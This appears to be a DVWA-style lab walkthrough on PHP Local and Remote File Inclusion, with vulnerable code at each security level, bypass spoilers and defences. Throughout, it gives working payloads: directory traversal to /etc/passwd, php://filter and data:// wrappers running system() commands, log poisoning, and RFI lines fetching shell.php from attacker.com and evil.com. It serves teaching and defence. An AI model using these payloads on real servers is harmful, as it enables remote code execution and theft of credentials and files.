File Inclusion

Learn about Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities and how to exploit and prevent them

Overview

File Inclusion vulnerabilities occur when web applications allow user-supplied input to specify files that will be processed or included in the application’s context. This can lead to:

• Local File Inclusion (LFI): Including files from the local server filesystem
• Remote File Inclusion (RFI): Including files from remote servers

These vulnerabilities can have severe security implications, potentially leading to:

• Source code disclosure
• Sensitive data exposure
• Remote code execution
• Server compromise

LFI vs RFI vs File Disclosure

Important distinction:

• File Inclusion: The file is executed/processed in the application context (can lead to code execution)
• Arbitrary File Access/Disclosure: The file content is read/displayed (information disclosure)

File inclusion is generally more dangerous because it can lead to remote code execution, while file disclosure “only” leaks information.

RFI Requirements

Remote File Inclusion requires specific PHP configuration:

• allow_url_include = On (disabled by default in modern PHP)
• allow_url_fopen = On (enabled by default)

When RFI is not possible, LFI combined with other vulnerabilities (like file upload) can achieve similar results.

Objective

Read all five famous quotes from the file /hackable/flags/fi.php using only the file inclusion vulnerability.

Note: The file path is ../hackable/flags/fi.php relative to the vulnerability page.

Security Levels

Low

Vulnerability Analysis

The low security level has absolutely no input validation. User input is directly used to include files, making it trivially exploitable for both LFI and RFI.

Vulnerable Code

// The page we wish to display
$file = $_GET[ 'page' ];

That’s it. The $file variable is then used directly in an include statement (in the main page logic):

include($file);

Key Vulnerability: Zero validation. The application blindly includes whatever file path the user provides.

Why It’s Vulnerable

• No input validation whatsoever
• No path sanitization
• No whitelist of allowed files
• Direct use of user input in include()
• Accepts both absolute and relative paths

Testing Approach

Local File Inclusion (LFI):

1. Directory traversal to read local files:

   ?page=../../../etc/passwd
   ?page=../../../../../../etc/passwd
   ?page=../hackable/flags/fi.php
   

2. Null byte injection (PHP < 5.3.4):

   ?page=../../../etc/passwd%00
   

3. PHP wrapper filters to read source code:

   ?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php
   

Remote File Inclusion (RFI):

If allow_url_include is enabled:

?page=http://attacker.com/shell.php
?page=http://attacker.com/shell.txt

Show Hint

You can navigate to parent directories using ../ sequences. Count how many levels up you need to go to reach the root directory, then navigate to the target file.

Alternatively, use PHP stream wrappers to read the file content. The php://filter wrapper is particularly useful for reading PHP source code.

Show Spoiler

LFI Examples:

# Direct path to objective
?page=../hackable/flags/fi.php

# Read system files
?page=../../../../../../etc/passwd

# Read PHP source code (avoid execution)
?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php

The last example is important because it encodes the PHP file as base64, so you can see the source code instead of executing it.

RFI Examples (if enabled):

# Include remote PHP file
?page=http://evil.com/shell.php

# Include remote file disguised as image
?page=http://evil.com/shell.txt

For the objective, you need to read the quotes from fi.php. Using the base64 filter lets you see the actual PHP code with all 5 quotes.

Medium

Vulnerability Analysis

The medium level implements basic filtering to prevent common LFI/RFI attacks, but the filters are insufficient and can be bypassed.

Vulnerable Code

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

Key Vulnerability:

• Single-pass string replacement (not recursive)
• Only filters http://, https://, and directory traversal sequences
• Can be bypassed with double encoding or alternative methods

Why It’s Still Vulnerable

1. Non-recursive filtering: Only runs once, so nested patterns bypass it
2. Limited protocol filtering: Doesn’t block all protocols
3. Incomplete path filtering: Only blocks ../ and ..\\

Bypass Techniques

LFI Bypass - Double Encoding:

Since the filter only runs once, you can use:

# This: ../ gets filtered to nothing
# But this: ....// becomes ../ after filtering
?page=....//....//....//etc/passwd

The string ....// contains ../ which gets removed, leaving ../.

RFI Bypass - Alternative Protocols:

# HTTP/HTTPS are blocked, but other wrappers aren't
?page=php://input
?page=data://text/plain,<?php system($_GET['cmd']); ?>
?page=php://filter/convert.base64-encode/resource=index.php

PHP Stream Wrappers:

PHP supports many stream wrappers besides HTTP:

• php:// - Access various I/O streams
• data:// - Data (RFC 2397)
• file:// - Filesystem
• ftp:// - FTP
• zip:// - Compression streams

Show Hint

The filter only runs once through the input. What happens if you put one pattern inside another?

For example, if the filter removes “AB”, what does “AABB” become?

Also, HTTP/HTTPS aren’t the only ways to include remote content. PHP has other stream wrappers.

Show Spoiler

LFI Bypass:

# Double encoding the directory traversal
?page=....//....//....//....//hackable/flags/fi.php

When ../ is removed from ....//, it leaves ../:

• Before: ....//
• Filter removes: ../
• After: ../

RFI Bypass using PHP streams:

# Data wrapper
?page=data://text/plain,<?php echo file_get_contents('../hackable/flags/fi.php'); ?>

# PHP filter (works great for reading source)
?page=php://filter/convert.base64-encode/resource=....//....//hackable/flags/fi.php

The PHP filter example combines both bypasses:

1. Uses PHP stream wrapper (not http://)
2. Uses double-encoded path traversal

High

Vulnerability Analysis

The high level implements a whitelist approach using pattern matching, but the pattern is too permissive due to the use of wildcards.

Vulnerable Code

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

Key Vulnerability: The fnmatch() function uses shell-style wildcards. The pattern "file*" means “anything starting with ‘file’”, which is too permissive.

Why It’s Still Vulnerable

• fnmatch("file*", $file) matches ANY string starting with “file”
• The wildcard * matches everything, including directory traversal sequences
• Filenames just need to start with “file”

What fnmatch() Matches

The pattern "file*" will match:

• file1.php ✓ (intended)
• file2.php ✓ (intended)
• file3.php ✓ (intended)
• file../../../../etc/passwd ✓ (unintended!)
• file/../../../hackable/flags/fi.php ✓ (unintended!)

Testing Approach

You need to:

1. Start the filename with “file”
2. Then use directory traversal to reach the target

LFI Exploitation:

?page=file../hackable/flags/fi.php
?page=file../../../../etc/passwd

RFI is much harder at this level. You would need to:

1. Upload a file to the server that starts with “file”
2. Then include it using the file inclusion vulnerability
3. This is a multi-step attack combining file upload + file inclusion

Show Hint

The validation checks if the filename starts with “file”. It doesn’t check what comes AFTER “file”.

Can you start your path with “file” and then add directory traversal sequences?

Show Spoiler

LFI Payload:

# Read the objective file
?page=file../hackable/flags/fi.php

# Read system files
?page=file../../../../etc/passwd

# Read source code
?page=file../../../hackable/flags/fi.php

The key is that fnmatch("file*", "file../hackable/flags/fi.php") returns true because the string starts with “file”.

RFI requires chaining:

1. Upload a malicious file via the file upload vulnerability
2. Name it something like “fileshell.php”
3. Include it: ?page=file../../uploads/fileshell.php

This demonstrates how vulnerabilities can be chained together for greater impact.

Impossible

Secure Implementation

The impossible level implements a strict whitelist of allowed files, completely preventing file inclusion attacks.

Secure Code

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
$configFileNames = [
    'include.php',
    'file1.php',
    'file2.php',
    'file3.php',
];

if( !in_array($file, $configFileNames) ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

Why It’s Secure

1. Strict whitelist: Only exact filename matches are allowed
2. Hardcoded list: The allowed files are defined in the application
3. Exact matching: Uses in_array() for exact string comparison
4. No wildcards: No pattern matching that could be bypassed
5. No path manipulation: Only filenames are accepted, no paths

Defense Mechanisms

Whitelist Approach:

• Explicitly defines all allowed files
• No user input affects the actual file path
• Uses exact string matching (no wildcards)
• Rejects anything not in the whitelist

Why This Works:

• User input is compared against a fixed list
• No directory traversal possible
• No protocol wrappers allowed
• No encoding bypasses possible
• The actual include path is controlled by the application

This implementation makes file inclusion attacks impossible because:

• Only specific, hardcoded filenames are allowed
• User input cannot influence the file path
• All file operations use validated, safe references
• There’s no way to include arbitrary files

Testing Methodology

Local File Inclusion (LFI)

Basic Directory Traversal:

?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd

PHP Wrapper Exploitation:

# Read PHP source code (base64 encoded)
?page=php://filter/convert.base64-encode/resource=index.php

# Read file contents
?page=php://filter/resource=../hackable/flags/fi.php

# Execute PHP code (if allow_url_include is on)
?page=data://text/plain,<?php phpinfo(); ?>

# Read POST data
?page=php://input
(Send PHP code in POST body)

Log Poisoning:

# Inject PHP into access logs via User-Agent
User-Agent: <?php system($_GET['cmd']); ?>

# Then include the log file
?page=../../../var/log/apache2/access.log&cmd=whoami

Common File Targets:

/etc/passwd                    # User accounts (Linux)
/etc/shadow                    # Password hashes (Linux, requires root)
/var/log/apache2/access.log    # Apache logs
/var/log/apache2/error.log     # Apache errors  
/proc/self/environ             # Environment variables
C:\Windows\System32\drivers\etc\hosts  # Windows hosts file
C:\xampp\apache\logs\access.log        # XAMPP logs

Remote File Inclusion (RFI)

Basic RFI:

?page=http://attacker.com/shell.php
?page=http://attacker.com/shell.txt

PHP Wrappers:

?page=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
?page=php://input

Automated Testing

LFI/RFI Scanner Tools:

• dotdotpwn: Automated LFI/RFI fuzzer
• fimap: LFI/RFI exploitation tool
• Burp Suite: Manual testing with Intruder

# dotdotpwn example
perl dotdotpwn.pl -m http -h target.com -M GET -o windows \
  -f /etc/passwd -k "root:" -d 5 -t 300

Defense Strategies

Primary Defenses

1. Avoid Dynamic File Inclusion

   // Don't do this:
   include($_GET['page']);
   
   // Instead, use a mapping:
   $pages = [
       'home' => 'home.php',
       'about' => 'about.php',
   ];
   
   $page = $_GET['page'];
   if (isset($pages[$page])) {
       include($pages[$page]);
   }
   

2. Strict Whitelist Validation

   $allowed = ['file1.php', 'file2.php', 'file3.php'];
   
   if (in_array($file, $allowed, true)) {
       include($file);
   } else {
       die('Invalid file');
   }
   

3. Use basename() and Validate

   $file = basename($_GET['file']);
   $file = str_replace(['..', '/'], '', $file);
   
   if (file_exists("pages/$file")) {
       include("pages/$file");
   }
   

Additional Defenses

4. Disable allow_url_include

   # php.ini
   allow_url_include = Off
   allow_url_fopen = Off  # If not needed
   

5. Use open_basedir Restriction

   # php.ini - Limit file operations to specific directory
   open_basedir = /var/www/html
   

6. Input Validation

   // Only allow alphanumeric and specific characters
   if (!preg_match('/^[a-zA-Z0-9_-]+$/', $file)) {
       die('Invalid filename');
   }
   

What Doesn’t Work

• Blacklisting patterns: Too many bypass techniques
• Single-pass filtering: Can be bypassed with nesting
• Filtering only http://: Many other wrappers exist
• Using wildcards in whitelist: Too permissive (as shown in high level)
• Client-side validation: Easily bypassed

Resources

• OWASP - File Inclusion
• OWASP - LFI Testing Guide
• OWASP - RFI Testing Guide
• OWASP - PHP File Inclusion
• Wikipedia - File Inclusion Vulnerability
• PHP Stream Wrappers
• PayloadsAllTheThings - File Inclusion